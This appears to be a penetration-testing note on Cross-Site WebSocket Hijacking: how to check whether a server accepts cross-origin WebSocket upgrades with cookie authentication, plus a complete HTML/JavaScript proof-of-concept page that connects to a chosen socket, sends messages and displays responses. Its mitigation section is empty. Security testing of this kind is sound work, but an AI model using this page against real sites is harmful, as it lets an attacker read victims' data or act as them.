The attack is kind of like a CSRF but with websockets, and you can always read the returning data. If you can change state over websockets then you can also perform CSRF attacks.

How to test for it

The client make a request with the header:

```
Upgrade: websocket
```

Now try to redo the request, but with another origin. If that works then you will be able to perform the attack.

The authentication method has to be with a cookie. So that the browser automatically sends the cookie.

But remember that it is only an issue if you can perform state changing actions or leak secret data.

Change the wsUri in the javascript below. Enter the socket address of your choice. If you want to send some specific strings, change the doSend() parameter.

```
<html>
  <meta charset="utf-8" />
  <title>WebSocket Test</title>
  <script language="javascript" type="text/javascript">

  var wsUri = "wss://socketaddresshere";
  var output;

  function init()
  {
    output = document.getElementById("output");
    testWebSocket();
  }

  function testWebSocket()
  {
    websocket = new WebSocket(wsUri);
    websocket.onopen = function(evt) { onOpen(evt) };
    websocket.onclose = function(evt) { onClose(evt) };
    websocket.onmessage = function(evt) { onMessage(evt) };
    websocket.onerror = function(evt) { onError(evt) };
  }

  function onOpen(evt)
  {
    writeToScreen("CONNECTED");
    doSend("WebSocket rocks");
  }

  function onClose(evt)
  {
    writeToScreen("DISCONNECTED");
  }

  function onMessage(evt)
  {
    writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>');
  //  websocket.close();
  }

  function onError(evt)
  {
    writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
  }

  function doSend(message)
  {
    writeToScreen("SENT: " + message);
    websocket.send(message);
```

```
  }

  function writeToScreen(message)
  {
    var pre = document.createElement("p");
    pre.style.wordWrap = "break-word";
    pre.innerHTML = message;
    output.appendChild(pre);
  }

  window.addEventListener("load", init, false);

  </script>

<body>
  <h2>WebSocket Test</h2>

  <div id="output"></div>
</body>
  </html>
```

How to mitigate it

References

https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html